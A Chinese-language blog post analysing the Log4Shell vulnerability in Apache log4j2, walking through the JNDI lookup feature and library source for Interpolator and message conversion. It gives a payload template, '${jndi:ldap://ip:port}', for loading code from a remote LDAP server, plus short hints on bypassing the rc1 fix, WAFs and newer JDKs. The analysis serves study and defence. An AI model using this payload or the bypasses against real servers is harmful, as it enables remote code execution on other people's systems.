Log4Shell

Log4Shell

配套代码在:top50vulns_2023配合食用更佳!

漏洞成因

本漏洞是因为log4j官方提供了一个名为Message Lookup Substitution的功能,此功能会动态地获取某些内容:
如字符串Running ${java:runtime}会被解析为Running Java version 1.8xxx.

官方文档中对此的部分描述如下:

The JavaLookup allows Java environment information to be retrieved in convenient preformatted strings using the java: prefix.

使用如下内容可以检索Java相关信息:

Key Description
version The short Java version, like:Java version 1.7.0_67
runtime The Java runtime version, like:Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation
vm The Java VM version, like:Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode)
os The OS version, like:Windows 7 6.1 Service Pack 1, architecture: amd64-64
locale System locale and file encoding information, like:default locale: en_US, platform encoding: Cp1252
hw Hardware information, like:processors: 4, architecture: amd64-64, instruction sets: amd64

同时官方也提供了JNDI功能来调用远程方法:

JNDI Lookup

As of Log4j 2.17.0 JNDI operations require that log4j2.enableJndiLookup=true be set as a system property or the corresponding environment variable for this lookup to function. See the enableJndiLookup system property.

The JndiLookup allows variables to be retrieved via JNDI. By default the key will be prefixed with java:comp/env/, however if the key contains a “:” no prefix will be added.

The JNDI Lookup only supports the java protocol or no protocol (as shown in the example below).

使用如下方式开启JNDI检索:

1
2
3
4
5
<File name="Application" fileName="application.log">  
<PatternLayout>
<pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
</PatternLayout>
</File>

也正是提供了JNDI查找的功能,导致了漏洞的出现。

JNDILDAP 协议搭配使用时,将从远程源获取指定的 Java 类并将其反序列化,在此过程中执行该类的一些代码,造成反序列化攻击。
payload形式例如:${jndi:ldap://ip:port}

漏洞分析&&复现

先写一个demo来实现log4Shell。

在log4j2中存在一个接口名为StrLookup:

1
2
3
4
5
6
7
8
9
10
11
package org.apache.logging.log4j.core.lookup;

import org.apache.logging.log4j.core.LogEvent;

public interface StrLookup {
String CATEGORY = "Lookup";

String lookup(String key);

String lookup(LogEvent event, String key);
}

当在log4j2中使用了如${prefix:key}的类型时,就会调用相应的StrLookup

这个接口被以Map<String,StrLookup>的方式封装在了Interpolator中,可以在项目代码的断点1处打断点观察封装在Interpolator内部的StrLookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public Interpolator(final Map<String, String> properties) {
this.strLookupMap = new HashMap();
this.defaultLookup = new MapLookup((Map)(properties == null ? new HashMap() : properties));
this.strLookupMap.put("log4j", new Log4jLookup());
this.strLookupMap.put("sys", new SystemPropertiesLookup());
this.strLookupMap.put("env", new EnvironmentLookup());
this.strLookupMap.put("main", MainMapLookup.MAIN_SINGLETON);
this.strLookupMap.put("marker", new MarkerLookup());
this.strLookupMap.put("java", new JavaLookup());
this.strLookupMap.put("lower", new LowerLookup());
this.strLookupMap.put("upper", new UpperLookup());

try {
this.strLookupMap.put("jndi", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JndiLookup", StrLookup.class));
} catch (Exception | LinkageError var9) {
this.handleError("jndi", var9);
}

try {
this.strLookupMap.put("jvmrunargs", Loader.newCheckedInstanceOf("org.apache.logging.log4j.core.lookup.JmxRuntimeInputArgumentsLookup", StrLookup.class));
} catch (Exception | LinkageError var8) {
this.handleError("jvmrunargs", var8);
}

this.strLookupMap.put("date", new DateLookup());
this.strLookupMap.put("ctx", new ContextMapLookup());
if (Constants.IS_WEB_APP) {
try {
this.strLookupMap.put("web", Loader.newCheckedInstanceOf("org.apache.logging.log4j.web.WebLookup", StrLookup.class));
} catch (Exception var7) {
this.handleError("web", var7);
}
} else {
LOGGER.debug("Not in a ServletContext environment, thus not loading WebLookup plugin.");
}

try {
this.strLookupMap.put("docker", Loader.newCheckedInstanceOf("org.apache.logging.log4j.docker.DockerLookup", StrLookup.class));
} catch (Exception var6) {
this.handleError("docker", var6);
}

try {
this.strLookupMap.put("spring", Loader.newCheckedInstanceOf("org.apache.logging.log4j.spring.cloud.config.client.SpringLookup", StrLookup.class));
} catch (Exception var5) {
this.handleError("spring", var5);
}

try {
this.strLookupMap.put("kubernetes", Loader.newCheckedInstanceOf("org.apache.logging.log4j.kubernetes.KubernetesLookup", StrLookup.class));
} catch (Exception var3) {
this.handleError("kubernetes", var3);
} catch (NoClassDefFoundError var4) {
this.handleError("kubernetes", var4);
}

}

${prefix:key}中的prefix不为空的时候,Interpolator中的lookup方法就会去调用prefix对应的StrLookuplookup方法去查询key所对应的内容,当prefixjndi的时候就造成了JNDI注入:

本次漏洞关键在于转换器名称msg对应的插件实例MessagePatternConverter对于日志中的消息内容处理存在问题,在大多数场景下这部分是攻击者可控的。MessagePatternConverter会将日志中的消息内容为${prefix:key}格式的字符串进行解析转换,读取环境变量。此时为jndi的方式的话,就存在漏洞。

详细流程如下,当log4j开始进行处理的时候,AbstractOutputStreamAppender类的directEncodeEvent方法先获取当前使用的布局,并调用对应的encode方法:

进入默认布局PatternLayout类的encode方法,encode调用toText

toText中会获取对应的serializer然后调用serializertoSerializable方法

随后进入toSerializable后会在循环中使用合适的converter来处理传入的内容:

继续往下跟进的时候会看到在MessagePatternConverter类中对传入的${prefix:key}进行了处理,

细心的师傅们可能看到了offset=68和count=99这样的差别,中间差了31位的长度:

这是因为在经过了formatTo方法后截取了${prefix:key}的值,所以长度减少了,我这里是31:

那么log4j截取这部分的内容做什么呢,走到这段if的最后流程,是一个append(当然前面还有个substring),要append的内容就要由log4j去查找了,剩下的上面已经说过了,选取合适的StrLookuplookup方法去查询key所对应的内容,最终调用JndiMananger中的lookup后调用到ldaplookup

这个时候我们启动一个恶意的JNDI服务,并替换地址:

关于绕过

rc1的修复可以被绕过,但是需要开发人员手工开启log4j2.formatMsgLookups=true又或者配置文件中自己写%msg{lookups}%n"类似的布局模式,但是对于学习来说还是有意义的,所以简单说下,对于开启了这些配置的log4j2-rc1,其内部仍然加了一些白名单和其他的严格检测,但是如果抛出了URISyntaxException异常,那么就会绕过这些限制,catch异常后重新进入前面JNDI注入的流程。

具体的修复在这里感兴趣的可以去看下,因为流程基本一样,所以这里就不做复现了。

关于WAF基本的思路就是利用log4j的迭代解析进行poc构造,不过貌似现在大家都能防住了。

关于高版本JDK的绕过思路,可以通过 org.apache.naming.factory.BeanFactory 等类进行绕过。


Log4Shell
http://www.springkill.club/2023/09/28/Log4Shell/
作者
SpringKill
发布于
2023年9月28日
许可协议